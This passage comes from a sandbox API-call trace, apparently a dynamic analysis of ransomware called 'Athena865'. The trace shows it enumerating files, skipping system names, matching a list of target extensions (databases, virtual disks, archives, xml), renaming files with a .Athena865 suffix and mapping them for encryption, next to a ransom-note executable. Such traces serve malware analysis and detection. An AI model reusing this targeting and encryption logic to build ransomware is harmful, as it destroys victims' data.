pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.095] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.095] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1830, lpName=0x0) returned 0x154 [0091.096] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1830) returned 0x100000 [0091.097] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.098] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.098] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0091.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.099] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0091.099] CloseHandle (hObject=0x154) returned 1 [0091.099] CloseHandle (hObject=0x17c) returned 1 [0091.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.099] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf365935, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf365935, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2c7e17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2092, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ContentDirectory.xml", cAlternateFileName="")) returned 1 [0091.099] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.099] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0091.099] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2=".") returned 1 [0091.099] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="..") returned 1 [0091.099] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="windows") returned -1 [0091.099] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="bootmgr") returned 1 [0091.099] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="temp") returned -1 [0091.099] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="pagefile.sys") returned -1 [0091.099] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="boot") returned 1 [0091.100] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="ids.txt") returned -1 [0091.100] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="ntuser.dat") returned -1 [0091.100] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="perflogs") returned -1 [0091.100] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2="MSBuild") returned -1 [0091.100] lstrlenW (lpString="ContentDirectory.xml") returned 20 [0091.100] lstrcpyW (in: lpString1=0x241e8b4, lpString2="ContentDirectory.xml" | out: lpString1="ContentDirectory.xml") returned="ContentDirectory.xml" [0091.100] lstrlenW (lpString="ContentDirectory.xml") returned 20 [0091.100] lstrlenW (lpString="Athena865") returned 9 [0091.100] lstrcmpiW (lpString1="ctory.xml", lpString2="Athena865") returned 1 [0091.100] lstrlenW (lpString=".dll") returned 4 [0091.100] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2=".dll") returned 1 [0091.100] lstrlenW (lpString=".lnk") returned 4 [0091.100] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2=".lnk") returned 1 [0091.100] lstrlenW (lpString=".ini") returned 4 [0091.100] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2=".ini") returned 1 [0091.100] lstrlenW (lpString=".sys") returned 4 [0091.100] lstrcmpiW (lpString1="ContentDirectory.xml", lpString2=".sys") returned 1 [0091.100] lstrlenW (lpString="ContentDirectory.xml") returned 20 [0091.100] lstrlenW (lpString="bak") returned 3 [0091.100] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0091.100] lstrlenW (lpString="ba_") returned 3 [0091.100] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0091.100] lstrlenW (lpString="dbb") returned 3 [0091.100] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0091.100] lstrlenW (lpString="vmdk") returned 4 [0091.100] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0091.100] lstrlenW (lpString="rar") returned 3 [0091.100] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0091.100] lstrlenW (lpString="zip") returned 3 [0091.100] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0091.100] lstrlenW (lpString="tgz") returned 3 [0091.101] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0091.101] lstrlenW (lpString="vbox") returned 4 [0091.101] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0091.101] lstrlenW (lpString="vdi") returned 3 [0091.101] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0091.101] lstrlenW (lpString="vhd") returned 3 [0091.101] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0091.101] lstrlenW (lpString="vhdx") returned 4 [0091.101] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0091.101] lstrlenW (lpString="avhd") returned 4 [0091.101] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0091.101] lstrlenW (lpString="db") returned 2 [0091.101] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0091.101] lstrlenW (lpString="db2") returned 3 [0091.101] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0091.101] lstrlenW (lpString="db3") returned 3 [0091.101] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0091.101] lstrlenW (lpString="dbf") returned 3 [0091.101] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0091.101] lstrlenW (lpString="mdf") returned 3 [0091.101] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0091.101] lstrlenW (lpString="mdb") returned 3 [0091.101] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0091.101] lstrlenW (lpString="sql") returned 3 [0091.101] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0091.101] lstrlenW (lpString="sqlite") returned 6 [0091.101] lstrcmpiW (lpString1="ry.xml", lpString2="sqlite") returned -1 [0091.101] lstrlenW (lpString="sqlite3") returned 7 [0091.101] lstrcmpiW (lpString1="ory.xml", lpString2="sqlite3") returned -1 [0091.101] lstrlenW (lpString="sqlitedb") returned 8 [0091.101] lstrcmpiW (lpString1="tory.xml", lpString2="sqlitedb") returned 1 [0091.101] lstrlenW (lpString="xml") returned 3 [0091.102] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0091.102] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml.Athena865") returned 84 [0091.102] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\contentdirectory.xml"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\contentdirectory.xml.athena865"), dwFlags=0x1) returned 1 [0091.103] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\contentdirectory.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.103] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8338) returned 1 [0091.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.103] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.104] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.104] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.104] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23a0, lpName=0x0) returned 0x154 [0091.107] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23a0) returned 0x100000 [0091.108] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.108] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.108] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0091.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.109] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0091.109] CloseHandle (hObject=0x154) returned 1 [0091.109] CloseHandle (hObject=0x17c) returned 1 [0091.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.110] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfbe40c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbfbe40c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0091.110] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0091.110] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MediaReceiverRegistrar.xml", cAlternateFileName="")) returned 1 [0091.110] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.110] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.110] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2=".") returned 1 [0091.110] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="..") returned 1 [0091.110] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="windows") returned -1 [0091.110] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="bootmgr") returned 1 [0091.110] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="temp") returned -1 [0091.110] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="pagefile.sys") returned -1 [0091.110] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="boot") returned 1 [0091.110] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="ids.txt") returned 1 [0091.110] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="ntuser.dat") returned -1 [0091.110] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="perflogs") returned -1 [0091.110] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2="MSBuild") returned -1 [0091.110] lstrlenW (lpString="MediaReceiverRegistrar.xml") returned 26 [0091.110] lstrcpyW (in: lpString1=0x241e8b4, lpString2="MediaReceiverRegistrar.xml" | out: lpString1="MediaReceiverRegistrar.xml") returned="MediaReceiverRegistrar.xml" [0091.110] lstrlenW (lpString="MediaReceiverRegistrar.xml") returned 26 [0091.110] lstrlenW (lpString="Athena865") returned 9 [0091.110] lstrcmpiW (lpString1="strar.xml", lpString2="Athena865") returned 1 [0091.110] lstrlenW (lpString=".dll") returned 4 [0091.110] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2=".dll") returned 1 [0091.110] lstrlenW (lpString=".lnk") returned 4 [0091.110] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2=".lnk") returned 1 [0091.110] lstrlenW (lpString=".ini") returned 4 [0091.110] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2=".ini") returned 1 [0091.110] lstrlenW (lpString=".sys") returned 4 [0091.111] lstrcmpiW (lpString1="MediaReceiverRegistrar.xml", lpString2=".sys") returned 1 [0091.111] lstrlenW (lpString="MediaReceiverRegistrar.xml") returned 26 [0091.111] lstrlenW (lpString="bak") returned 3 [0091.111] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0091.111] lstrlenW (lpString="ba_") returned 3 [0091.111] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0091.111] lstrlenW (lpString="dbb") returned 3 [0091.111] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0091.111] lstrlenW (lpString="vmdk") returned 4 [0091.111] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0091.111] lstrlenW (lpString="rar") returned 3 [0091.111] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0091.111] lstrlenW (lpString="zip") returned 3 [0091.111] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0091.111] lstrlenW (lpString="tgz") returned 3 [0091.111] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0091.111] lstrlenW (lpString="vbox") returned 4 [0091.111] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0091.111] lstrlenW (lpString="vdi") returned 3 [0091.111] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0091.111] lstrlenW (lpString="vhd") returned 3 [0091.111] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0091.111] lstrlenW (lpString="vhdx") returned 4 [0091.111] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0091.111] lstrlenW (lpString="avhd") returned 4 [0091.111] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0091.111] lstrlenW (lpString="db") returned 2 [0091.111] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0091.111] lstrlenW (lpString="db2") returned 3 [0091.111] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0091.111] lstrlenW (lpString="db3") returned 3 [0091.112] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0091.112] lstrlenW (lpString="dbf") returned 3 [0091.112] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0091.112] lstrlenW (lpString="mdf") returned 3 [0091.112] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0091.112] lstrlenW (lpString="mdb") returned 3 [0091.112] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0091.112] lstrlenW (lpString="sql") returned 3 [0091.112] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0091.112] lstrlenW (lpString="sqlite") returned 6 [0091.112] lstrcmpiW (lpString1="ar.xml", lpString2="sqlite") returned -1 [0091.112] lstrlenW (lpString="sqlite3") returned 7 [0091.112] lstrcmpiW (lpString1="rar.xml", lpString2="sqlite3") returned -1 [0091.112] lstrlenW (lpString="sqlitedb") returned 8 [0091.112] lstrcmpiW (lpString1="trar.xml", lpString2="sqlitedb") returned 1 [0091.112] lstrlenW (lpString="xml") returned 3 [0091.112] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0091.112] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml.Athena865") returned 90 [0091.112] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml" (normalized: "c:\\program files\\windows media player\\network sharing\\mediareceiverregistrar.xml"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\mediareceiverregistrar.xml.athena865"), dwFlags=0x1) returned 1 [0091.113] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml.Athena865" (normalized: "c:\\program files\\windows media player\\network sharing\\mediareceiverregistrar.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.113] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2574) returned 1 [0091.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.113] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.114] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.114] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.114] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd10, lpName=0x0) returned 0x154 [0091.116] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd10) returned 0x100000 [0091.116] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.117] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.117] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0091.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.118] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.118] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0091.118] CloseHandle (hObject=0x154) returned 1 [0091.118] CloseHandle (hObject=0x17c) returned 1 [0091.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.118] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5352, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnss_bw120.jpg", cAlternateFileName="")) returned 1 [0091.118] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.118] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.118] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2=".") returned 1 [0091.118] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="..") returned 1 [0091.118] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="windows") returned 1 [0091.119] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="bootmgr") returned 1 [0091.119] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="temp") returned 1 [0091.119] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="pagefile.sys") returned 1 [0091.119] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="boot") returned 1 [0091.119] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="ids.txt") returned 1 [0091.119] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="ntuser.dat") returned 1 [0091.119] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="perflogs") returned 1 [0091.119] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2="MSBuild") returned 1 [0091.119] lstrlenW (lpString="wmpnss_bw120.jpg") returned 16 [0091.119] lstrcpyW (in: lpString1=0x241e8b4, lpString2="wmpnss_bw120.jpg" | out: lpString1="wmpnss_bw120.jpg") returned="wmpnss_bw120.jpg" [0091.119] lstrlenW (lpString="wmpnss_bw120.jpg") returned 16 [0091.119] lstrlenW (lpString="Athena865") returned 9 [0091.119] lstrcmpiW (lpString1="bw120.jpg", lpString2="Athena865") returned 1 [0091.119] lstrlenW (lpString=".dll") returned 4 [0091.119] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2=".dll") returned 1 [0091.119] lstrlenW (lpString=".lnk") returned 4 [0091.119] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2=".lnk") returned 1 [0091.119] lstrlenW (lpString=".ini") returned 4 [0091.119] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2=".ini") returned 1 [0091.119] lstrlenW (lpString=".sys") returned 4 [0091.119] lstrcmpiW (lpString1="wmpnss_bw120.jpg", lpString2=".sys") returned 1 [0091.119] lstrlenW (lpString="wmpnss_bw120.jpg") returned 16 [0091.119] lstrlenW (lpString="bak") returned 3 [0091.119] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1 [0091.119] lstrlenW (lpString="ba_") returned 3 [0091.119] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1 [0091.119] lstrlenW (lpString="dbb") returned 3 [0091.119] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1 [0091.119] lstrlenW (lpString="vmdk") returned 4 [0091.120] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1 [0091.120] lstrlenW (lpString="rar") returned 3 [0091.120] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1 [0091.120] lstrlenW (lpString="zip") returned 3 [0091.120] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1 [0091.120] lstrlenW (lpString="tgz") returned 3 [0091.120] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1 [0091.120] lstrlenW (lpString="vbox") returned 4 [0091.120] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1 [0091.120] lstrlenW (lpString="vdi") returned 3 [0091.120] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1 [0091.120] lstrlenW (lpString="vhd") returned 3 [0091.120] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1 [0091.120] lstrlenW (lpString="vhdx") returned 4 [0091.120] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1 [0091.120] lstrlenW (lpString="avhd") returned 4 [0091.120] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1 [0091.120] lstrlenW (lpString="db") returned 2 [0091.120] lstrcmpiW (lpString1="pg", lpString2="db") returned 1 [0091.120] lstrlenW (lpString="db2") returned 3 [0091.120] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1 [0091.120] lstrlenW (lpString="db3") returned 3 [0091.120] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1 [0091.120] lstrlenW (lpString="dbf") returned 3 [0091.120] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1 [0091.120] lstrlenW (lpString="mdf") returned 3 [0091.120] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned 